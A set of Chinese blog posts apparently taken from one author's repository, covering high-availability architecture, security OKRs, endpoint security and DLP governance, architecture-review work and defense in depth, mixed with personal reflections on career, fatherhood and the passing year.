5 | kerywords: 高可用 架构设计 数据安全 服务可靠性 业务驱动 SRE DevOps
6 | tags: 安全架构
7 | ---
8 |
9 | # 前言
10 |
11 | 最近觉得自己一直在瓶颈。本想发发牢骚,后来觉得大可不必,也就没怎么更新博客。于是就买了市面上的一些书学习学习,博采众长。今天这篇博客主要介绍一下高可用和基础平台相关的一些架构知识。一部分得益于《携程架构实践》的总结,一部分得益于之前的项目经验。如有遗误,欢迎指出。
12 |
13 | 
14 |
15 | # 基础设施
16 |
17 | 经历过不同规模的企业,更能体会到基础设施对产品迭代,运维管理,安全治理的影响。 有人说治理的前提就是标准化,但在大公司永远是分分合合。中台如是,BU也如是。
18 |
19 | * IAAS&PAAS(混合云/公有云/私有云)通过资源池化的方式提供了存储,计算,网络等资源。同样云原生的出现也促进了IAAS和PAAS的融合。
20 | * 统一接入层真是个好东西,可惜这没有,能够完成端到端的流量清洗。同时还能够提供用户便捷接入。这种分层设计模式还体现在CAL,DAL上面。一旦分层,就能通过在新的Layer附加不同能力,例如:安全特性。
21 | * 监控平台一般讲究端到端的,全链路的。整体来说还是数据采集到分析到可视化到告警通知的一套流程,是建设可观测性架构必不可少的东西。
22 | * 现在的大型企业往往进行着快速迭代,由此带来大量的持续集成与交付,好的发布平台既需要提高效率又需要质量保证(废话)。
23 | * 大数据时代数据平台是必不可少的,数据的传输存储再加工,如何反馈到商业模式上,促进盈利?当然安全也是必不可少。
24 |
25 | # 服务可靠性
26 |
27 | 站点可靠性(Site Reliability)的概念的我最初是从[Google SRE](https://sre.google/sre-book/table-of-contents/)里了解到,作为Devops的一种实践。包括了高可用,可操作,可维护等等,从规划到发布,从监控到响应,基本都会涉猎。
28 |
29 | ## 高可用
30 |
31 | 网站可用性的计算方式此处略过。
32 |
33 | * 在确保业务高可用的同时要优先确保运维工具的高可用,避免出现问题无法及时解决,此处优先级为: 故障恢复工具 > 监控工具 > 资源交付工具(例如CRM平台)> 代码发布工具
34 | * 一般来说高可用的工作模式有以下几中: A/S (A/P); A/A; Cluster; LB; (注: A为Active的缩写,S为Standby的缩写,P为Passive的缩写)
35 | * 原理上来看,一般有容量管理、灾难管理和故障管理三个方面。通过对资源、故障的管控实现高可用。在容量管理方面一般有容量预估,冗余,限流,扩容,集群化; 在灾难管理上,一般会做两地三中心,即同城x2DC异地x1DC。除此之外还有冷备热备,不过并不推荐。故障管理方面一般是在应用层或系统层面做降级或者熔断。通过预设条件降低异常的扩散,关闭某些非必要功能,维持原有系统的高可用。
36 | * 从分层架构来看,所涉及到的范围都应该被包括到,无论是业务层,持久层,数据层等等。脑图里只是简单列出来了比较容易看到的网络层,应用层,数据层等。同时,DC应该符合单元化架构,在IDC级别也需要做到灾备。即前面提到的灾难管理。这里针对数据层的高可用简单说下,数据库本身有着MGR,MHA,PXC等模式去维护高可用。M-M和MGR其实和A-A是类似的。
37 | * 可扩展性能够快速的通过增加计算资源动态满足业务量的增长。一般有垂直和水平两种方式。在现代大型架构中,负载均衡提供了很好的扩展性。具体参考下面的读书笔记。
38 | * 安全性在此暂时就不谈了,前面写了很多博客讲安全架构了,后面可能会补充点安全产品设计和隐私计算相关的一些内容。最近的一个感悟是,安全如果能从最初的DC设计到IAAS,PAAS平台的搭建过程,应该会更能满足安全内生(Security by Origin)的设计理念。
39 | * 数据同步需要高可用,高可用的过程也需要数据同步。不过CAP理论而言,只能3选2。这里介绍了下一些数据同步的一些简单场景,例如服务发现,缓存同步,DB跨机房数据复制。
40 |
41 |
42 | # 总结
43 |
44 | 无论是对外提供的业务还是内部服务都应该首先考虑不同业务的特点,然后尽可能的满足高可用。除此之外还需要思考对标准化,自动化,全链路的取舍。
--------------------------------------------------------------------------------
/source/_posts/2022-07-06-Design-Your-Security-Architecture-OKR.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 设计你的安全架构OKR
4 | categories: 安全架构师
5 | kerywords: 数据安全 应用安全 基础安全 安全策略 安全技术 安全运营 安全平台 企业安全 安全治理 OKR
6 | tags: 安全架构
7 | ---
8 |
9 | # 0x00 前言
10 |
11 | 这一篇简单谈谈如何设计安全架构的OKR(不是个人工作量的OKR)。架构师个人的OKR可以是去在某个季度解决某个问题(一些平台的设计,策略的推广,运营的指标等等)。
12 |
13 |
14 | # 0x01 安全架构目标
15 |
16 | 老规矩,看图说话。 其实不难发现还是策略技术运营三块走,虽然是老一套了,但实际都具备的公司也不多。
17 |
18 | 
19 |
20 |
21 | ## Object
22 |
23 | 1. 安全能力服务化
24 | 2. 安全服务平台化
25 | 3. 安全平台智能化
26 |
27 | 促进安全能力服务化,安全服务平台化,以及安全平台智能化。 通过对策略的制定规范化技术的基础能力,通过建设安全平台整合技术能力,通过运营进行持续的交付。图中策略技术运营三块需要做的事情为假设,架构师应根据所在企业的情况进行定制。
28 |
29 | > 注:关注策略建设的时候,应该需要考虑到使用什么样的技术去支撑策略,考虑技术建设的时候,要考虑技术架构怎么交付出去运营(服务架构)等
30 |
31 | ## Key Resources
32 |
33 | * 从策略角度关注价值与威胁,进行标准规范建设
34 | * 从技术角度关注服务与交付,进行基础能力建设
35 | * 从运营角度关注场景与质量,做好生命周期管理(闭环)
36 |
37 |
38 | # 0x02 架构与平台
39 |
40 | 
41 |
42 | 这里面
43 | 1. 每个治理领域都需要策略,技术,运营做支撑
44 | 2. 每个治理领域都需要架构指导,平台交付,运营服务
45 | 3. 基础安全决定了应用安全和数据安全的下限
46 | 4. 架构设计决定了安全平台和安全运营的上限
47 |
48 | 随着基础设施云化,安全服务类别增多,会逐渐形成安全平台,同时慢慢承担更多的责任。不过这里面还要看组织架构,可以结合上图思考企业是如何设计的。根据不同的组织架构,实现不同的协作模式。例如安全架构收拢需求,安全平台组通过综合各领域的安全工具,针对部分安全能力封装成服务提供给业务使用,并将服务统一化为安全平台,面向企业内部提供统一的基础设施和系统控制,安全运营提供对外服务。 例如不同治理领域组建团队,组成虚拟安全架构团队,承接需求,协作实现。然后交给安全运营或者各自运营。
49 |
50 | 拿数据安全架构举例,主要做三块(有的地方IAM不在data security范围之内)。
51 |
52 | 1. Cryptography: HSM, KMS, PKI, Crypto Agility, Encryption as service, Transparent encryption, cert management, etc.
53 | 2. Data Protection: DLP, EDR, Email Protection, Data Classification/Tagging/Privacy Platform, 3rd file sharing, etc.
54 | 3. Identity Access & Management: IDP, MFA, Hardware Key, Passwordless, Beyond Corp / Dev, etc.
55 |
56 | 再细节到Cryptography,数据安全专家需要制定Crypto Control的Policy,对不同的算法,属性,生命周期做出规定。然后推广策略,技术专家和架构师一同构建符合系统架构标准的Crypto Infrastructure,开发提供Self Service,Management Portal等等。可参考之前的一些博客,此处不深入了。同样的,对于Data Protection,需要制定数据分类分级,数据传输,防泄漏的Policy等。推广规范的同时,建立数据扫描平台,计入不同数据源,然后对各类数据打标签,提供隐私计算的一些技术,去做到数据生命周期的安全控制,同时增强数据流动的可能性,等等。
57 |
58 | 另外就是OKR对于做架构的,做平台的和做运营的,衡量指标应该是不一样的。架构应把关键点放在解决问题的能力上,提供什么样的功能。而非要求架构师对设计的平台要求有多少的接入用户和覆盖多少场景。架构可以帮助去交付一些场景的接入,但对同质场景的推广应该是运营的指标。当然这个也需要看具体老板的认知和要求,毕竟理想和现实是有差距的。
59 |
60 | # 0x03 总结
61 |
62 | OKR其实已经老生常谈了,记得很早前还写过一篇OKR做过野路子安全架构设计。不过以前是做安全工程师的时候去做安全架构,通常是针对具体任务的,现在是以安全架构师的身份去做,更多要看整体。还是有些不同的,关注的点也有所改变。最明显的就是更感觉到沟通的重要性,情绪管理的重要性。老板之前跟我讲过一个三选二的思路,就是在企业中,行业经验,技术能力,沟通管理三者具备两个就能很稳定的做的很好,当然也可以在自己的优势上深入之后,再补不足。当然每一项的深入都需要投入大量的精力,学无止境,持续积累吧。
--------------------------------------------------------------------------------
/source/_posts/2022-08-31-End-User-Computer-Control-And-DLP.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 浅谈终端安全与DLP治理
4 | categories: 安全架构师
5 | kerywords: 数据安全 安全策略 安全技术 安全运营 安全平台 企业安全 安全治理 DLP 数据防泄漏 终端安全
6 | tags: 安全架构 数据安全 终端安全
7 | ---
8 |
9 | # 终端安全治理
10 |
11 | 
12 |
13 | 终端安全简单将其分为两类,一类是安全主打的终端控制,一类是IT主打的设备管理。
14 |
15 | 其中EUC控制(End-User Computer Control)又可以细分为
16 | * 反病毒和终端检测及响应(Anti-Malware and Endpoint Detection and Response)
17 | * 漏洞管理和强化合规性(Vulnerability Management and Hardening Compliance)
18 | * 系统加固
19 | * 数据防泄漏DLP(Data Loss Prevention)
20 |
21 | 可以很明确的看出来这些工具以及对应的能力提供和运营来自安全部门。同样的,我们还需要IT去做些工作。
22 | * 设备准入(SASE: Secure Access Service Edge)
23 | * 用户设备管理(UEM: Unified endpoint management)
24 | * 自助服务中心(Self Services)
25 |
26 | 那么此时端上就变成了这样的一个状态:
27 | * 使用AAD的账户密码替代本地的用户密码,这样在AAD启用的密码策略同样作用于端上。
28 | * 使用系统加固收拢DLP控制点。例如全盘加密避免PE的copy,禁止了USB存储而不需需DLP一直监控USB存储,Admin权限降级避免卸载终端的安全软件等。
29 | * 全盘加密(File Vault/Bitlocker)使用的Key记录到UEM安全保存。
30 | * 使用允许的软件并禁用黑名单软件,例如阿里工作的一定概率要禁止使用企业微信作为IM,在腾讯也不会推荐用钉钉。同样的各种网盘,云笔记,远控,代理等也是不推荐在系统中使用的。
31 | * 结合设备证书Enroll你的设备,当满足安全标准之后推送准入软件(SASE)等。例如仅当安装了AVScan,DLP,EDR之后才能使用VPN/SASE类工具。
32 | * 使用用户证书增强VPN/SASE的准入,并保持网络的接入状态。当然有条件的话用户证书也可以直接存到硬件中,例如yubikey。
33 | * SASE里可以控制访问到Internal的流量协议类型,例如仅支持RDP,SSH和HTTPS。同样的也可以控制到访问到Internet时支持URL Filter。
34 | * 使用RBVM工具同步UEM中软件资产,生成对应的补丁或者更新,并通过UEM进行推送。
35 |
36 | # DLP治理
37 |
38 | 数据防泄漏一直是安全治理中的重要一环,但大部分企业往往是通过Host DLP和Network DLP去实现的。最初我在做的时候也是仅仅是依赖单点工具,而DLP的治理显然是不应该如此的。我仅结合终端安全简单谈谈一些看法:
39 |
40 | * DLP的治理需要红线政策配合技术支撑(可以单点,建议尽量把各种能力配合起来)以及运营管理。
41 | * 同样的需要有数据分类分级的标准,针对不同等级的数据做不同的控制。参考上一篇博客。
42 | * DLP的规则在DLP Policy注明Approved File Type进行监控。例如:word processing类型的后缀文件,prensentation类文件,email,sourcecode等。
43 | * 一般来说更多的是Monitor而不是直接Block/Deny。
44 | * 终端捕获的数据应该加密后回传。
45 | * 结合一些特定场景,尤其是入职离职,AK的拷贝等进行重点关注,同样的针对一些特殊关注也需要自定义策略。另外针对离职还需要做到离职权限的自动化回收。
46 | * 安全自己也要闭环,包含日志审计等。例如安全自己去查这些事件的行为也应当被记录,不能因为提供安全能力而存在持续的exception。
47 | * 针对Cloud APP的DLP,使用Azure得话可以直接结合Microsoft Defeneder实现。
48 | * 微软的DLP可以做到一些自动分类,但是不支持国内的敏感信息识别,需要自己自定义实体。说明我们的数据安全规范整体做的不是很好。(其实其他领域也一样)
49 | * 系统架构的标准化是非常有必要的,例如各个工具的管理端都要支持HA,FQDN,TLS,SSO/LDAP,Logging,Monitoring等。(可以看到图中各个工具管理端都支持SSO登录。)
50 | * 针对默认的安全措施提供exception的流程,针对exception的流程提供对应的处理方式并以自动化的形式实现。例如默认收回了Admin权限,那针对Admin的权限获取在Approve之后,应该能够及时的通过UEM为终端电脑赋予相应权限。
51 | * 提供统一的文件分享工具(需符合系统架构标准),无论是办公网到生产网,还是提供给公司的合作伙伴。
52 | * 针对Mail的DLP看具体Mail Server的实现方式,一般来说服务端可以转发到DLP服务器,同时结合客户端做相应的动作。例如Outlook支持对数据进行标记,根据不同等级禁止copy,禁止转发,签名水印等。
53 | * 尽量避免使用传统的NDLP在网络层接收流量分析,如需使用应该和SASE结合起来。
54 |
55 | # 后记
56 |
57 | 心中踌躇,散步归来记录此篇,真道是天凉好个秋。
--------------------------------------------------------------------------------
/source/_posts/2022-10-27-Operation-within-Security-Architect.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 安全架构师的运营一二事
4 | categories: 安全架构师
5 | kerywords: 安全运营 安全架构 企业安全 安全治理 安全运营
6 | tags: 安全架构 安全运营
7 | ---
8 |
9 | # 0x01 前言
10 |
11 | 做工程师的以为做了专家就不搞运营了,做安全运营的以为做了架构不需要关注运营了。实际上运营又是始终逃不掉的一个话题,不过今年好在不像前两年吹的那么厉害了。简单总结下架构中的运营工作。
12 |
13 | # 0x02 正文
14 |
15 | 先讲讲常规的运营工作有哪些,**需求收集**(安全团队内外的奇奇怪怪需求)和**风险跟踪**这两块是日常工作中最常见的,主要体现在架构评审和安全咨询两部分。拿架构评审举例,经常需要沟通去说服业务方接受一定的baseline。但业务方往往会有以下的理由:
16 |
17 | * 我们在内网,不需要密码,不需要tls,key就存数据库就行;
18 | * 别人怎么怎么用的,别的公司都是这么用的;
19 | * 这个github上的star分数很高;
20 | * 这个业务很急,优先级很高;
21 |
22 | 在这种背景知识不对等的情况下,一方面由策略/规范去强制要求业务方遵守规则,另一方面需要一遍遍的耐心沟通,补齐背景知识。而往往结果又会变成:
23 |
24 | * 一个文档十句话,架构图一个没有,上下文也不记录;
25 | * 丢个第三方软件的链接当作答案,让你自己去看;
26 | * 加密哈希编码傻傻分不清楚;
27 | * 几个会开下来,该改的地方一个没改;
28 |
29 | 架构评审做的越多越让人感觉无奈。针对事后的风险管理,即便通过流程进行跟踪,但很大程度上会出现牛头不对马嘴的解决方案,会上说的是一套,实际做的又一套,甚至可能没往某方面设计就close掉风险点了。
30 |
31 | 除此之外还有**规范建设**,内部(或者和其他部门一起)**写策略,写基线,写管理办法,写流程等等**。一般格式会分为:目的,范围,内容,附录几块。初版之后要review/cross-review规范,release规范,update规范。这些规范应该具备统一的格式,编号,水印,固定的更新周期。同时由于有的是写给员工的,有的是写给IT的,还有的是写给运维的。还会涉及到**能力推广**,这又包括**培训,宣讲,分享**几种不同的情况,当然可能还需要**建设一个团队对外的Portal**,供企业内其他部门的员工查看。一般会包含以下几个板块,org&leadership,mission,capability,event,policy&sop,所有在portal上的都将被认为是released版本。 草稿版本放在wiki上编辑。
32 |
33 | # 0x03 总结
34 |
35 | 以前是在“砖家岗”做架构,现在是架构岗上做“砖家”。从9月来是平均每周20h的会议,10月的几周更是爆炸,感觉最近至少要平均到30h了,有时候真的不知道是未来先来还是稻草先来。人特别累的时候脑子里就会疯狂嗡嗡嗡,思绪飘飞,有时候会把想到的写下来,可能会缓解一点,但有时候又没什么作用。想想很久没跑步了,今天去跑了一次,才2km就已经大汗淋漓,想来想去,还是休一天假,放过自己。毕竟狗命要紧。
36 |
37 |
38 |
39 | // 微软的技术支持是真的菜,即便开了A Case(据说A Case的技术支持基本上干了8年以上,不能理解),很多bug都不能得到及时解决。另一方面也说明了安全类产品并不成熟,回头另记录一篇吧。
--------------------------------------------------------------------------------
/source/_posts/2022-11-27-Need-To-Do-Something.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 未济
4 | categories: HowTo
5 | tags: 漫漫人生路
6 | ---
7 |
8 | > 前些天的时候我经过一个村子,有户人家门楣写着耕读园,看着有些年久失修.
9 |
10 | 老子说:“失道而後德,失德而後仁,失仁而後義,失義而後禮”。年少轻狂,少不更事多是讲江湖义气。至启蒙,则学习礼义廉耻。仁义发乎于道德,终止于法度。再至上下求索,君子慎独。是有割席分坐典故,为道不同则不相为谋。
11 |
12 | 不敢遑论什么益至上,娱乐至死的社会。仅以职业角色而论,传统农民工尚知道抱团取暖,新生代农民工则只知道技术交流群不可以讨论政治,却不知群可再建,人无重开,更何况所谓技术交流,最好的结果是带来好主意,更多的是过渡碎片化的废话毫不成系统体系。做任何职业角色和身份之前一定先是一个正常人。正常人是去关心火祸还是关心吴某宿娼,不辩自明。如果是后者,可以说是教育的失败,礼崩乐坏。保安知道巡逻守卫,护士知道看检测,但也更要知道生命比一纸证明更加的重要。医院流产的孕妇,来不及抢救的孩子。那些少年时代的风声雨声读书声声声入耳尚可专心致志求学,而今家事国事天下事事事却都读到了狗肚子。切莫负心多是读书人,仗义每多屠狗辈。无论是记者,教师,医生,警察,律师等等,是人皆有背负。但如果说无知者无畏,那知不可为而为之是不是可以称得上大无畏者。不求人人大无畏,但何不量力而行,尽力而行。世事维艰,也应为同行之人留出一条道路。
13 |
14 | 这个世界从不缺谎言和骗子,也不缺傻子和自以为是的大聪明。真正的看清生活热爱生活,一定是努力建设热爱的生活,而不是偷着乐的理中客。人获得的越多,越喜欢理性看待,辩证看待。精致的利己主义总会让人忘却了还有逻辑这会事。王阳明说以此心即理,求至善而行之于身,是所谓知是行之始,行是知之成,即知行合一。今人如一好字说不得,一坏字说不得,一中字说不得,一白纸举不得。那应当对这个世界说声Fuck you,然后告诉自己做个人,做正常人,做力所能及的事。
15 |
16 | // 理想主义有时也是一种痛苦
17 | // 8年前开始写博客,没想过坚持什么,也没想过给谁去看,倒也因此认识了几位网友。我自己则是通过这种不断的总结学到了一些东西。不过总结二字,应当是厚积薄发的。给自己看的东西,又何必要写废话呢?后来到4年前的时候,跟风建了个公众号。最初取名叫《脑子有水》,后又改为《企业与信息安全》。其实一直没有很好的定位。博客勉强算是有些访问量,公众号则是过了四年也没凑够五百个订阅,其中还有一些是最初四年前厚着脸皮请朋友关注的。
18 | 最开始除了总结技术还会输出一些个人观点,后来又有意识的去改掉这种习惯。毕竟亲历不同,体悟亦是不同。尤其近年以来,渐觉世事无常,更无绝对。但又随着时间的增长,我又改变了这种想法。每个人都理智着,沉默着。是不是真的是一件好事?我想或许有时候还是要《脑子有水》一下。
--------------------------------------------------------------------------------
/source/_posts/2023-02-03-Li-Chun.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 写在立春之前
4 | categories: HowTo
5 | kerywords: 总结
6 | tags: 漫漫人生路
7 | ---
8 |
9 | 正月的时候,老婆生了儿子。亲朋好友都说简直同我小时候一模一样。对此老婆有点失落,说:“好像只是在我肚子里呆了40周,和我半点关系都没有”。而我倒不知道自己小时候什么样的,也没有照片可以参考。
10 |
11 | 作为父亲,没来由的多了些许的压力。一方面初为人父没有经验,看不得小孩子哭嚎。二是敏感的产妇以及自古以来的婆媳难题。几乎要开始人格分裂了。我甚至不知道自己是不是合格的父亲,丈夫,儿子。于此同时,我又觉得自己经历了很多,想着应该有所成长,但实际上发现似乎还很缺乏生活的磨练。我对社会的运转方式并不了解,生活也充满意外,意外中有惊喜也有惊吓,有精彩也有精神病。说到底我只能尽量要求自己去做个善良的人,包容与理解,出现问题及时改正。
12 |
13 | 作为打工人,从去年开始意识到理想的工作环境是一种奢侈品,职场上应该尽力的去在现实环境里输出。当然这就意味着很多时候可能会面临很多妥协,泄气自然也是有的,谁也不是铁人。有时候你可能知道据理力争也抵不过一句老板的话。毕竟从你踏入社会的锋芒毕露,棱角分明到变得能够包容一切,什么都能够理解。于是也愈发的迷茫,随波逐流。不过这也是考验自己的时候,很多事情的环境条件,起步都是一样的,最终做到的效果取决于你到底做了多少功课。会妥协,会泄气。那就适当的妥协,但不要泄气。资源并不充分,就看你自己的Leadership能走多远。不是说对的起工资,对的起领导,对的起业务,只是遵循自己的底线,对得起自己的这个职业。
14 |
15 | 谈及职业,我经常在博客里总结一些技术相关的文章。去年大概发布了十几篇,比2021年多了不少。之所以这样,恰恰是因为去年老婆怀孕,所以哪里也去不了,只能在家读书写字。时常的总结帮助我一步步成为安全架构师,一次次突破瓶颈。但这一次的瓶颈似乎又过去了几个月时间,没有看到突破的方向。我梳理,回顾...... 从技术到运营到架构,从基础安全到反入侵到数据安全,从一个人的安全部到BU安全到集团安全。这些经历,历历在目。但似乎离一线(打开配置,某个开关)远一些,心中就多了一分不安全的感觉。虽然我也愈发意识到设计的重要性,但怎么样去深入和精进架构,似乎又不在架构本身。熟练的应用模式,是需要在模式之外深入的去了解不同技术的适用与局限。还有衡量资源与各种管理,项目管理,情绪管理,怎么沟通,向上以及向下...... 或许这个瓶颈还会在持续一段时间,或者说这种工作状态也会持续一段时间。希望自己能够通过发现一种新的方式,去提高安全架构的落地能力。许个愿或者立个flag,希望今年能够成为自己心中的senior security architect。
16 |
17 | 明天立春,万物复苏,希望能够在新的一年里依旧能脚踏实地,知行合一。都说一年之计在于春,其实儿子的每个微笑都像是春风一般,实不曾料想几天的小娃娃,居然能够微笑。
--------------------------------------------------------------------------------
/source/_posts/2023-02-27-How-To-Defense-In-Depth.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 谈谈安全设计中的纵深防御
4 | categories: 安全架构师
5 | kerywords: 安全架构 企业安全 安全设计 纵深防御 微服务安全 服务平面 Defense In Depth 设计理念
6 | tags: 安全架构 基础安全
7 | ---
8 |
9 | # 0x01 前言
10 |
11 | 最近很忙,压力很大。
12 |
13 | # 0x02 正文
14 |
15 | 回到设计理念本身,原文是Defense in Depth,其实是只有深度概念的,我们今天就简单讨论一下什么算是纵深防御。
16 |
17 | Defense in Depth的设计理念一般来说是作用在Layered Architecture上,个人理解**没有分层架构就没有纵深防御** ,通过提供多层次的控制措施来缓解威胁。(区分场景对使用设计理念很重要。就像之前写Shift to left一样,这个理念是作用在正向建设过程,把防御能力前置。所以做事后建设的时候是不适合采用这个设计理念的。如果非要去使用,就显得有点牵强附会))
18 |
19 | 纵深防御设计的关注点一般需要关注四个方向:
20 |
21 | * 系统
22 | * 网络
23 | * 权限
24 | * 数据
25 |
26 | 下面开始看系统,这里的概念比较宽泛。可以理解为提供服务的一套软硬件支撑共同作为一个系统。对于系统来说,显然是分层架构的,从硬件到OS,再到虚拟化或者容器化,之后去运行相应的应用/进程等。假设我们的关注点从硬件开始,就需要TPM,TEE,Root Of Trust, Hardware Based Encryption等防御技术,其次OS层面考虑VMP,HIDS,EDR,AV等,乃至RASP,Security SDK等等都是应用层面可以做的事情,以及永远不要忘了log。 如果现在我们算是完成了单体System的Defense in Depth,那么在微服务的场景里,多个单体系统连接到一起就构成了的服务平面。
27 |
28 | 
29 |
30 | 既然已经构成了服务平面,对于终端用户来说,访问链路是从端开始经过CDN、Firewall、WAF、NIDS等等一系列的安全设备/工具。如果是自建的机房,就会可能出现下图左侧的情况。然后通过BGP或者其他协议实现旁路引流,选择感兴趣流量丢给安全设备,这样就意味着不同Rack上的机器流量都会经过防火墙进行检测,否则就会出现一种情况,用户在正常经过访问链路使用服务的同时,部署在不同安全域的微服务之间并没有安全检测。类似支付业务和钱包业务部署在不同VPC内,但是VPC之间的流量是没有经过检测的,也就意味着一旦边界失陷,就意味着无尽的横向移动。在这个过程中又涉及到OSI模型,如下右图所示。应用层流量到传输层,然后到网络层的过程。有一个transmit和receive的过程,虽然安全设备已经内嵌了不同Layer的防御措施,但架构师在设计的时候也需要关注到。
31 |
32 | 
33 |
34 | # 0x03 总结
35 |
36 | 纵深防御是做安全设计都会挂在嘴边的话,实际落地的质量有待考究。很多时候并不能意识到数据的价值,更别提安全设计的重要性了。
37 |
38 | 文章里没写权限和数据的Defense in Depth,因为不知道怎么样很好的用图来表述,就暂时就没画图了。权限和数据都比较抽象,权限维度的Defense In Depth的话,一般会去做SOD(权责分离),比如以Root Of Trust为例,根密钥一定是分片给到不同的人去持有。同样的针对密钥管理,Import和Assign给应用以及Enable/Disable的过程也要分给不同的Role。从管理流程上来说,运营操作员,管理员,分析师,审计员这种角色在系统中较为常见,其次是工具上的演变,从sms 2fa到app的mfa,使mfa也进入了defense in depth的领域。类似的还有从一次鉴权,到每次鉴权。数据也是,系统内部的逻辑处理,系统间的,DB内的。从hash以及签名,到传输的tls,到DB内的aes,binlog的加密同步等等。
39 |
40 | 回头理理再写吧,困了。前面本来看到最近招数据安全架构师的企业增加了,还想写点啥,最后也没有精力写完。
--------------------------------------------------------------------------------
/source/_posts/2023-12-31-Life-Summary.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 一年四季
4 | categories: HowTo
5 | kerywords: 人生路漫漫 上下而求索 平静且耐力
6 | tags: 漫漫人生路
7 | ---
8 |
9 | > 一年四季,日月轮转,人活多久,就有多少喜怒哀乐。 过了春夏秋冬,过了阴晴圆缺,多少嗔痴癫狂,回头看时总是觉得人生犹如白驹过隙,只是一刹那罢了,是梦是幻犹未可知。
10 |
11 | # 四季
12 |
13 | **立春**
14 |
15 | 我曾一度纠结生肖的计算是以元旦、春节、立春之中哪个为准。直到在立春前第八天的时候,儿子出生了,我唯心的认为他是一只小老虎。同这个小老虎的第一个凝眸对视,我是略显慌张的,因为他的眼睛更加清澈,我又仿佛从他的眼眸中看到了自己。这种乍见的惊慌已经超越了初为人父的喜悦,仿佛独自一人身处闹市中央。我知道,从此在这个世界上,有一个小家伙更需要我的呵护了。我不晓得他未来会有什么成就,也不曾有什么奢望。
16 |
17 | 我为儿子取名行一,为此他的太爷还与我争吵。然而大家的固执往往抵不过我,于是我在他的脚印👣边写下了四则寄语,希望有朝一日他能发现。第一条是希望他能探索世界不断求知,其次是保持对生活的热爱,然后是勇于追求自由,最后是坚守真诚和善良。 这四条给他也是给我自己。
18 |
19 |
20 | **处暑**
21 |
22 | 我常常在夕阳下山之前到顶楼吹风。有一天细雨飘摇,我坐电梯到了顶楼。一抹彩霞映射在天地之间,浓墨重彩,份外有感觉。为此我决定从顶楼再往上爬,爬到楼顶的时候我遇到了一个学生。脸庞稚嫩,胡茬青涩。他说是高三的学生,过几天便要高考。下午拍完了毕业照,便从学校溜了回来。他说他不住在这一栋,是从进门那一栋走过来的。他的父亲在远方,母亲在这里伴读,上的是附近一座还不错的学校。
23 |
24 | 我和他一同站在楼顶的欣赏风景。他说他并不期待未来,但还是想要大学毕业以后挣够一千万。我笑着说,你可以的。我们天南地北的聊青春,聊未来,聊理想。有那么一瞬间我感觉自己也回到了当年。我说你还小,一切都有可能,他说你看着也不老。书中的故事穿越千年,我们也能一起背诵惟江上之清风,与山间之明月。他说是造物者之无尽藏也,我说吾与子之所共适。
25 |
26 | **重阳**
27 |
28 | 虽然说有家人的地方就有家,但人在异乡的时候最容易在节日里感伤。我一直想成为一个文人,写写文字,过着旅居的生活,在世间感悟。我为此打算,但却不得不结束了近4年的远程工作。Shawn是我职场中遇到的第一个贵人,于我而言亦师亦友。我私下里称他为肖叔,从买房定居到结婚生子,我心里对他甚为感激。HK的风还没有吹上,我已经准备离职。不愿去HK的原因一方面是我牵挂自己的小家庭,更主要的是小家庭暂时也离不开我的牵挂。我不得不向现实妥协,在经历了三个月的面试之后,我开始计划重返上海。而离作家的梦,似乎也越来越遥远了。
29 |
30 | 人懂得思念和牵挂一定是经历过了成长。有人成长了同时也意味着有人还在父母的怀抱里。妻弟(大舅子)在大三开学的前一天放弃了学业,投笔从戎。我尊重每一个人的选择,也期望每个人都能勇敢承担自己的选择。要知道一个人的一辈子时光有限,一双眼睛也只能看到一个市面。有时候看的早了是种幸运,有时候可能知晓的就晚了也无力挽回。这个秋天充满了各种各样的别离和思念。
31 |
32 | **冬至**
33 |
34 | 冬至后的第七天,我结束了2024年的最后一个工作日。上海的霾很重,苏州也是。许多人早早的就离开了公司,更多的人选择休假。每个人都开始享受着年末一丝丝不经意的悠闲。这个冬天于我来说略显萧瑟,倒不是因为两地奔波,苏州与上海的距离尚担不起离愁二字。工作之中的压力让我开始怀疑认真是否也是一个问题,见惯了正常设计的我只能表示对一切都再接再厉。我很感谢David给我的信任,他是我的Manager,我不愿意辜负这份信任,但我尚没办法像他那样处变不惊,这也许就是境界的差异。他曾说过自己已经过了educate别人的年纪,所以我很是感谢他仍能educate我。我也逐渐开始理解很多之前并不真正理解的东西,尤其是对Leadership有了更深的感悟。也知道了人心经不起揣测。无论是赤子之心,涉世未深,还是老谋深算,蓄意已久。一旦被有心人揣测,那简直比直视阳光更加的刺眼。
35 |
36 | 工作之中的欣喜少的可怜,苦中作乐四字毫不为过。我只能从生活中寻找一些乐趣。作为父亲,最大的乐趣可能就是观察儿子的言语。元旦前的一天我带儿子下来放烟火,他还只能远远看着,但对世界已经表现出了极大的好奇心。我喜欢在家里和妻子、儿子、妈妈一起吃饭,发呆,拌嘴的时光,不喜欢参加今年挣了多少的聚餐。我很平常,甚至平常的有些无趣。
37 |
38 | 2024年,是我第一次对未来感到了有一丝迷茫,而且是自己主动发现了这份迷茫。作为一个Senior Information Security Architect,我知道怎么在安全架构的设计中体现出安全设计的原则,但不敢确定指出问题的时候是不是自己也成为了问题;我知道怎么保持leadership和有效沟通,但不敢确定在“老师”的环境中是否适用;我知道怎么从一无所知的混沌状态里识别技术架构中的风险,但不敢确定动了谁的烟囱;我不知道在新的一年里是不是还会被一些“老师”质疑:“你懂不懂这个?你不够专业”,“你态度不够诚恳,你还想沟通吗?”。 同井蛙语海,同夏虫语冰,真可谓是对牛弹琴。我知道说服别人接受设计是必要的,但平等对话是一切的基础。
39 |
40 | # 寄语
41 |
42 | 我希望自己要有平静的耐力,能够努力的去热爱生活,勇于作出选择并接受成长。人都说一束光照进黑暗,光便成了一种罪恶。我知道我并非一束光,只是希望这一片冰心,不要付之东流。而那些所谓人设、单纯、鲁莽、正义、搞我、虚假、则只能说是心中有佛,则所见皆佛了。倘若有一天我真变的老于世故了,我希望自己不是犹如石头磨平了棱角,而是犹如明镜悟见了百态。
43 |
--------------------------------------------------------------------------------
/source/_posts/2025-03-09-Follow-Freedom.md:
--------------------------------------------------------------------------------
1 | ---
2 | layout: post
3 | title: 追寻自由之道
4 | categories: HowTo
